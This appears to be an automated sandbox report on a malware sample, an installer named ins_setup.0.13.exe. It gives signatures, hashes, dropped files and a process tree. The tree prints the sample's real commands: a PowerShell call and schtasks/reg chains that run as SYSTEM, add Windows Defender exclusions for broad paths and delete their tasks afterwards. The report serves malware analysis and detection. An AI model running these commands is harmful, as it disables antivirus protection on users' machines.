Analysis

  • max time kernel
    150s
  • max time network
    120s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/11/2026, 13:13

General

  • Target
    ins_setup.0.13.exe
  • Size 35.7MB
  • Sample261107-qf7qqsfa63
  • SHA256 2b7c750585ed9df05ec94a0df77f78e336cab4e5f2dc939b7743cfa511272f8a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Custom signature
    SilverFox-style Panasonic/Sauron loader chain targeting the staged Panasonic wrapper, image-named Al 16 IoCs

    SilverFox-style Panasonic/Sauron loader chain with staged loader, Alibaba OSS carrier grammar, side-loaded UxEnhance64.dll, RPC Task Scheduler payload, adoresd bridge, and Sauron Edge stage.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Windows security bypass 2 TTPs 4 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ins_setup.0.13.exe
    "C:\Users\Admin\AppData\Local\Temp\ins_setup.0.13.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4116
  • C:\Users\Public\hbCbjo\bA7ha8.exe
    "C:\Users\Public\hbCbjo\bA7ha8.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4740
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:2260
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\hbCbjo\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4180
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\hbCbjo\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4968
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1240
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1732
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4516
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3600
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2396
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:984
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:3876
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4400
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4996
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5052
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2368
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5520
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5800
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4084
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4284
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5596
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5488
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4992
                      • C:\Users\Public\hbCbjo\bA7ha8.exe
                        "C:\Users\Public\hbCbjo\bA7ha8.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1868
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1548
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5240
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2608
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3612
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4616

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 bf423f10096e11b439f7b2dcc55401a8133c928fd874a36f23fee78d36ebc4aa
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 ad545faea708e46f6df2b9b21cf797aa5fc52e2fe5f1d058d00aedb0e0a280aa
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 8896d542eccd57f6ed6059e5015a6934dbea76d95971e7d34a488cb293c36882
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 6d2407e2987b9a4f268d8e300549c523e87d00ae4aaf7756ba2889c6320e893b
                              • MD5 SHA1 SHA512 TLSH

                              __PSScriptPolicyTest_1zu5bqmk.tfz.psm1

                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1zu5bqmk.tfz.psm1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\hbCbjo\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 c39ec8ae6496474a60871ffb36037c21334dafc2d8bbecc2d06729e700b830a6
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\hbCbjo\adoresd.dat
                              • Size 4.8MB
                              • SHA256 a649782ea090d33522fe048be17f3f6edb6e0708152046ce34116afc66032121
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              bA7ha8.exe

                              • Path C:\Users\Public\hbCbjo\bA7ha8.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\hbCbjo\msadox.tb
                              • Size 8KB
                              • SHA256 dd950c16856e5eaa0fddc7d1bf30b50bec7afd74187be1b82f2d83deed70504f
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1868-576-0x000001D0AE560000-0x000001D0AEE37000-memory.dmp

                              memory/1868-572-0x00007FFF16230000-0x00007FFF1674E000-memory.dmp

                              memory/1868-587-0x00007FFF38E50000-0x00007FFF38E52000-memory.dmp

                              memory/1868-578-0x00007FFF38E60000-0x00007FFF38E62000-memory.dmp

                              memory/1868-579-0x000001D0AE560000-0x000001D0AEE37000-memory.dmp

                              memory/1868-584-0x000001D0AE560000-0x000001D0AEE37000-memory.dmp

                              memory/1868-586-0x000001D0AE560000-0x000001D0AEE37000-memory.dmp

                              memory/1868-583-0x000001D0AE560000-0x000001D0AEE37000-memory.dmp

                              memory/1868-585-0x000001D0AE560000-0x000001D0AEE37000-memory.dmp

                              memory/2260-607-0x00000229CCB80000-0x00000229CCB8A000-memory.dmp

                              memory/2260-606-0x00000229CCAC0000-0x00000229CCB72000-memory.dmp

                              memory/2260-605-0x00000229CCAA0000-0x00000229CCABE000-memory.dmp

                              memory/2260-597-0x00000229CCA40000-0x00000229CCA62000-memory.dmp

                              memory/4116-0-0x0000000000490000-0x000000000049E000-memory.dmp

                              memory/4116-1-0x0000000000490000-0x000000000049E000-memory.dmp

                              memory/4116-2-0x0000000002060000-0x000000000206C000-memory.dmp

                              memory/4116-504-0x00007FFF30BD0000-0x00007FFF30BE2000-memory.dmp

                              memory/4116-524-0x0000000000490000-0x000000000049E000-memory.dmp

                              memory/4116-525-0x00007FFF30BD0000-0x00007FFF30BE2000-memory.dmp

                              memory/4740-531-0x00007FFF16230000-0x00007FFF1674E000-memory.dmp

                              memory/4740-567-0x0000016B38330000-0x0000016B38C07000-memory.dmp

                              memory/4740-566-0x0000016B38330000-0x0000016B38C07000-memory.dmp

                              memory/4740-564-0x0000016B38330000-0x0000016B38C07000-memory.dmp

                              memory/4740-556-0x0000016B38330000-0x0000016B38C07000-memory.dmp

                              memory/4740-560-0x0000016B378C0000-0x0000016B3794A000-memory.dmp

                              memory/4740-561-0x0000016B378C0000-0x0000016B3794A000-memory.dmp

                              memory/4740-562-0x0000016B378C0000-0x0000016B3794A000-memory.dmp

                              memory/4740-558-0x0000016B376B0000-0x0000016B376FE000-memory.dmp

                              memory/4740-559-0x0000016B378C0000-0x0000016B3794A000-memory.dmp

                              memory/4740-550-0x0000016B38330000-0x0000016B38C07000-memory.dmp

                              memory/4740-546-0x0000016B38330000-0x0000016B38C07000-memory.dmp

                              memory/4740-545-0x0000016B38330000-0x0000016B38C07000-memory.dmp

                              memory/4740-544-0x0000016B38330000-0x0000016B38C07000-memory.dmp

                              memory/4740-543-0x0000016B38330000-0x0000016B38C07000-memory.dmp

                              memory/4740-539-0x0000016B38330000-0x0000016B38C07000-memory.dmp

                              memory/4740-538-0x00007FFF38E60000-0x00007FFF38E62000-memory.dmp

                              memory/4740-536-0x0000016B38330000-0x0000016B38C07000-memory.dmp

                              memory/4740-530-0x00007FFF38E50000-0x00007FFF38E52000-memory.dmp